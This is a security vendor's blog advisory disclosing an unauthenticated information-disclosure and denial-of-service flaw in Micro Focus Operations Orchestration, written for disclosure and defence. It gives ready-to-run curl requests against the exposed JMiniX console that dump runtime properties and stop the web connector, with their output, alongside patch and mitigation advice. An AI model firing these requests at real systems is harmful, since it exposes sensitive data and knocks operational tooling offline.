Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Tenable Blog

Subscribe

Tenable Research Advisory: Micro Focus Operations Orchestration, Remote Denial-of-Service (DoS) Vulnerability

Tenable Research just released an advisory for an information disclosure and denial-of-service vulnerability in Micro Focus Operations Orchestration software.

This post provides further context around the discovered vulnerability.

What do you need to know? Tenable Research has discovered information disclosure and denial-of-service vulnerabilities in Micro Focus Operations Orchestration version 10.X. These can be used to disclose sensitive runtime information and shut down the JMiniX JMX console used for administrative web-based access.

What's the attack vector? Exploitation requires remote unauthenticated network access and is trivial to exploit.

What's the business impact? Malicious attackers can gather sensitive runtime information for reconnaissance. Even worse, a malicious attacker can remotely shut down the JMiniX JMX console that provides access to the web user interface. Micro Focus Operations Orchestration is used by IT and DevOps operation teams to automate IT processes such as incident and disaster recovery, and hybrid cloud provisioning and configuration.

What's the solution? Micro Focus has released a software update and advisory. Affected users must apply the patch as soon as possible.

Background

Micro Focus merged with HPE Software in 2017 and HPE Operations Orchestrator was rebranded Micro Focus Operations Orchestrator.

Micro Focus Operations Orchestrator is a component of Micro Focus's Hybrid Cloud Management (HCM) and other ITOM suites for the automation of end-to-end IT processes. It is commonly used by large enterprises to automate incident and disaster recovery, and hybrid cloud provisioning and configuration processes and tasks.

Analysis

The default configuration of Operations Orchestration exposes the JMiniX JMX console to unauthenticated remote users. A malicious attacker can use this console to gather information.

All that's required is remote network access to the application. Exploitation is trivial (e.g., using curl).

Information disclosure

Below is an example showing how to interrogate the application to disclose sensitive runtime information.


albinolobster@ubuntu:~$ curl -d "executed=true" -X POST http://192.168.1.253:8080/oo/jminix/servers/0/domains/com.sun.management/mbeans/type=DiagnosticCommand/operations/vmSystemProperties%28%29/
#Wed Feb 28 11:01:57 EST 2018
java.vendor=Azul Systems, Inc.
events.persistency=false
org.apache.xml.security.ignoreLineBreaks=true
sun.java.launcher=SUN_STANDARD
catalina.base=C\:/Program Files/Hewlett Packard Enterprise/HPE Operations Orchestration/central/tomcat
sun.management.compiler=HotSpot 64-Bit Tiered Compilers
catalina.useNaming=true
os.name=Windows 10
sun.boot.class.path=C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\resources.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\rt.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\sunrsasign.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\jsse.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\jce.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\charsets.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\jfr.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\classes
ssl.verifyHostName=false
host.name=DESKTOP-F6M1S7H.westeros
cloudslang.worker.inBufferCapacity=200
mgmt.url=http\://localhost\:8080/oo
sun.desktop=windows
java.vm.specification.vendor=Oracle Corporation
java.runtime.version=1.8.0_66-b17
wrapper.native_library=wrapper
javax.net.ssl.keyStore=C\:/Program Files/Hewlett Packard Enterprise/HPE Operations Orchestration/central/var/security/certificate.p12
wrapper.key=mmvkDoBqly1UnneD13IinG_K5LF_5nhg
user.name=DESKTOP-F6M1S7H$
... snip ...

Denial of service

The example below shuts down the web interface, leading to a denial of service.


albinolobster@ubuntu:~$ curl -d "executed=true" -X POST http://192.168.1.253:8080/oo/jminix/servers/0/domains/Catalina/mbeans/type=Connector,port=8080/operations/stop%28%29/
curl: (52) Empty reply from server
albinolobster@ubuntu:~$ curl -vv http://192.168.1.253:8080/oo/
* Trying 192.168.1.253...
* TCP_NODELAY set
* Connected to 192.168.1.253 (192.168.1.253) port 8080 (#0)
> GET /oo/ HTTP/1.1
> Host: 192.168.1.253:8080
> User-Agent: curl/7.54.0
> Accept: */*
> 
^C

Vendor response

Micro Focus released a software update and an associated advisory, MFSBGN03801 rev.1, on March 1, 2018.

A note on the CVSS scoring: Micro Focus has given this a score using AC:H (or Access Complexity: High). The description for a Low access complexity follows:

Specialized access conditions or extenuating circumstances do not exist. The following are examples:

  • The affected product typically requires access to a wide range of systems and users, possibly anonymous and untrusted (e.g., Internet-facing web or mail server).
  • The affected configuration is default or ubiquitous.
  • The attack can be performed manually and requires little skill or additional information gathering.
  • The race condition is a lazy one (i.e., it is technically a race, but easily winnable).

The affected configuration is the default configuration. Tenable CVSS scoring reflects this, while Micro Focus's does not. Tenable Research has notified MITRE.

Business impact

Malicious attackers can gather sensitive runtime information to gather reconnaissance data for further attacks.

More concerning, a malicious attacker can remotely shut down the JMiniX JMX console that provides access to the web user interface. An attacker could detrimentally impact operational integrity by repeated denial-of-service attacks. In combination with other attack methods (e.g., ransomware attack), this can impact disaster and incident recovery measures.

Solution

  • Apply the software update supplied by Micro Focus as soon as possible.
  • As a workaround to mitigate exploitation, restrict network access to authorized users only.
  • Tenable has released a plugin to detect the vulnerability: Plugin ID 107094 Micro Focus Operations Orchestration JMiniX Multiple Vulnerabilities

Related Articles

Cybersecurity News You Can Use

Enter your email and never miss timely alerts and security guidance from the experts at Tenable.

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Try Tenable Web App Scanning

Formerly Tenable.io Web Application Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management and Tenable Lumin.

Buy Tenable Web App Scanning

Formerly Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable Lumin

Visualize and explore your exposure management, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable Vulnerability Management and Tenable Web App Scanning.

Buy Tenable Lumin

Contact a Sales Representative to see how Tenable Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable Nessus Professional Free

FREE FOR 7 DAYS

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

NEW - Tenable Nessus Expert
Now Available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Pro Trial.

Buy Tenable Nessus Professional

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Try Tenable Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Tenable Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Buy a multi-year license and save more.

Add Support and Training